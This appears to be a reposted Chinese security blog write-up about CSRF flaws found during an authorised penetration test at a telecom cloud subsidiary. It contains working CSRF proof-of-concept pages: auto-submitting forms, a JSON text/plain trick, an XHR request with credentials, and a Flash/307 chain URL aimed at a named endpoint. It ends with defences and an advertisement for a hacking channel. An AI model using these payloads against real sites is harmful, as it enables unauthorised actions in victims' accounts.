漏洞背景
hw时期在电信三巨头之一旗下的子公司出差,做一下渗透测试。
公网的业务主挖逻辑漏洞,但是每次挖着挖着就变成了CSRF攻击,出差半个月算是把这辈子的CSRF都给挖完了。
testme师傅说的一句话:开发者修或不修,挖洞者觉得鸡肋不鸡肋,CSRF漏洞就躺着那里。
这一次的体会很深,某云基本所有的业务逻辑都存在CSRF洞。
还是来梳理一下大致的流程
1.用户C浏览并登录信任网站A
2.验证通过,Web A产生一个Cookie返回给用户C
3.用户在没有等处的情况下访问Web B
4.B要求访问第三方站点Web A,发出一个请求
5.浏览器带着步骤2产生的Cookie,根据步骤4的请求访问Web A
这就造成了一次CSRF攻击,原理是利用目标用户的合法身份,以用户的名义执行非法操作
GET型CSRF
这里选择DVWA的low级,可以抓包查看修改密码的请求如下
可以看到发送了一个GET请求,来看看有哪些html元素可以实现这一请求
HTML中能够设置src/href等链接地址的标签都可以发起一个GET请求,具体如下:
<link href="">
<img src="">
<img lowsrc="">
<img dynsrc="">
<meta http-equiv="refresh" content="0;url=">
<iframe src="">
<frame src="">
<script src="">
<bgsound src="">
<embed src="">
<audio src="">
<video src="">
<a href="">
<table background="">
以及css样式中的:
@import ""
background:url("")
...
这里可以直接选择Burp Suite的Generate CSRF PoC生成
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.115.139:8088/dvwa/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="123456" />
<input type="hidden" name="password_conf" value="123456" />
<input type="hidden" name="Change" value="Change" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
当用户在登录状态下打开并点击Submit request按钮时,便会提交修改密码请求
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.115.139:8088/dvwa/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="123456" />
<input type="hidden" name="password_conf" value="123456" />
<input type="hidden" name="Change" value="Change" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
POST型与GET型的区别就在于POST型CSRF需要构造form表单,再由JAVAScript自动提交
这里给出一个参考的攻击页面,当然也可以Burp Suite直接生成POC
<html>
<head>
<title>
post data
</title>
</head>
<body>
<form id="id" method="post" action="https://www.xxx.com/submit">
</form>
<script>
var id = document.getElementById("id");
id.submit();
</script>
</body>
</html>
某云多处POST型CSRF
创建Access Key
由于是即将上线的业务,6月22日前暂未修复,关键数据打马
创建Access Key只是向服务器提交了一个POST请求,数据为空,POC如下
当用户在已登录情况下打开,会创建一个Access Key
这里由POST提交的id即为我们之前创建的Access Key(不是上面那一个。。)
我最先测的是删除的这个功能点,但是甲方不收,说这个id没有办法获取到,后来才测了创建的那个功能点。
实际上,整个系统能够越权的地方都产生了CSRF,不能越权的地方也可以用CSRF去打,算是通病了。
POC与上面那个类似,唯一区别就是这里带了post数据,value替换为相应id即可。
今天准备复现的时候发现系统已经暂时下线了,估计正在修复,所以用了之前提交的测试报告的图。
在内网测试域遇到了一个POST型CSRF,且提交的数据为json格式
如果直接用常规poc的话,会导致415,poc如下
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://xxxxxx/simauth/App/updateAppInfo" method="POST" enctype="text/plain">
<input type="hidden" name="{"appId":"300016001555","appName":"0xdawnnn"}" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
那我们为何不能使用这个常规构造的PoC来利用JSON端点中的CSRF呢?原因如下:
1、POSTbody需要以JSON格式发送,而这种格式如果用HTML表单元素来构建的话会比较麻烦。
2、Content-Type头需要设置为application/json。设置自定义Header需要使用XMLHttpRequests,而它还会向服务器端发送OPTIONS预检请求。
我们可以抓包看一下这个poc提交的请求详情
可以看到这段POST数据结尾多了一个=,这种情况下服务端的JSON解析器可能会拒绝这段JSON,因为它不符合JSON的数据格式。
这时候我们可以给value赋值从而对=后的数据进行补全,使其构造成一个完整的json格式,可以避免解析器报错
<input type="hidden" name='{"appId":"300016001555","appName":"0xdawnnn","test":"' value='test"}' />
可以看到这里已经闭合成了一个完整的json格式的数据,但是提交数据还是会返回415.因为在原始的数据包中Content-Type为application/json,而以form表单的形式去提交是没办法设置enctype为application/json的。
为了进一步验证,修改enctype为application/json,再抓包查看请求详情。
可以看到Content-Type自动转换为了
application/x-www-form-urlencoded,进一步验证
将enctype改回text/plain并抓包,修改Content-Type为application/json
返回操作成功,自此可以确定服务端对Content-Type进行了校验。
当跨域影响用户数据HTTP请求(如用XMLHttpRequest发送post)时,浏览器会发送预检请求(OPTIONS请求)给服务端征求支持的请求方法,然后根据服务端响应允许才发送真正的请求。
然而如果服务端对Content-Type进行校验,则不会响应这个OPTIONS请求,从而利用失败。
所以在此场景下,这一思路是行不通的。
但是更多的情况下服务端可能不会校验Content-Type,或者不会严格校验Content-Type是否为application/json,所以很多情况下这是可用的。
XHR CSRF POC
<html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://www.xxxxx.com/simauth/app/updateAppInfo", true);
xhr.setRequestHeader("Accept", "*/*");
xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3");
xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8");
xhr.withCredentials = true;
xhr.send(JSON.stringify({"appId":"300016001555","appName":"0xdawn"});
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();"/>
</form>
</body>
</html>
1.制作一个Flash文件
2.制作一个跨域XML文件
3.制作一个具有307状态码的php文件
已经有大牛造好轮子了,参考:
https://github.com/sp1d3r/swf_json_csrf
POC
https://www.0xdawn.cn/swf_json_csrf/test.swf?endpoint=https://sim.ecloud.10086.cn:8085/simauth/app/updateAppInfo&reqmethod=POST&ct=application/json;charset=UTF-8&jsonData={%22appId%22:%22300016001555%22,%22appName%22:%220xdawn%22}&php_url=https://www.0xdawn.cn/swf_json_csrf/test.php
或者直接在ui.html页面配置
整个攻击链
1、受害者访问POC,向attacter.com发起一条swf请求,swf向307.php发送HTTP POST请求。
2、attacter.com的307.php发起307跳转,跳转到victim.com,注意307跳转会带着http请求方式,header和postdata进行跳转。
3、victim.com收到一条POST请求,并且Content-Type为application/json。
4、victim.com收到一条/crossdomain.xml请求。由于第三步优先第四步执行,导致跨域。
并且victim.com能收到crossdomain.xml请求,也证明了第三步的POST请求是Flash发出,而不是307.php发出。
然而在实际测试中却并没有起到理想中的效果,只能是记录一下方法
检查Referer
一般情况下,用户提交站内请求,Referer中的来源应该是站内地址。如果发现Referer中的地址异常,就有可能遭到了CSRF攻击。在浏览器客户端层面,使用JavaScript和ActionScript已经无法修改HTTP Referer了,检查Referer字段是个不错的方法。
限制Cookie生命周期
CSRF产生的主要原因就是Cookie时效性未过的情况下,冒用用户身份进行非法操作。
而如果cookie失效,或者退出登录,甚至切换一个浏览器,CSRF就不复存在了。
限制Cookie的生命周期,一定程度上能减少被CSRF攻击的概率。
使用验证码
使用验证码是阻断CSRF攻击的有效手段,在用户进行相应操作时输入验证码,可以最大限度上杜绝CSRF,唯一的缺点是会降低用户体验。
使用一次性token
Anti-CSRF-token是当下最流行的解决方案,在开发过程中我们可以在HTTP请求中以参数的形式加入一个随机产生的token,并在服务端进行token校验,如果请求中没有token或者token内容不正确,则认为是CSRF攻击而拒绝该请求。
更多黑客渗透体系化视频教程,直接免费观看
黑客视频教程+进内部群+领工具+靶场---搜索公众号:暗网黑客
作者:0xdawn
转载自:
https://xz.aliyun.com/t/7911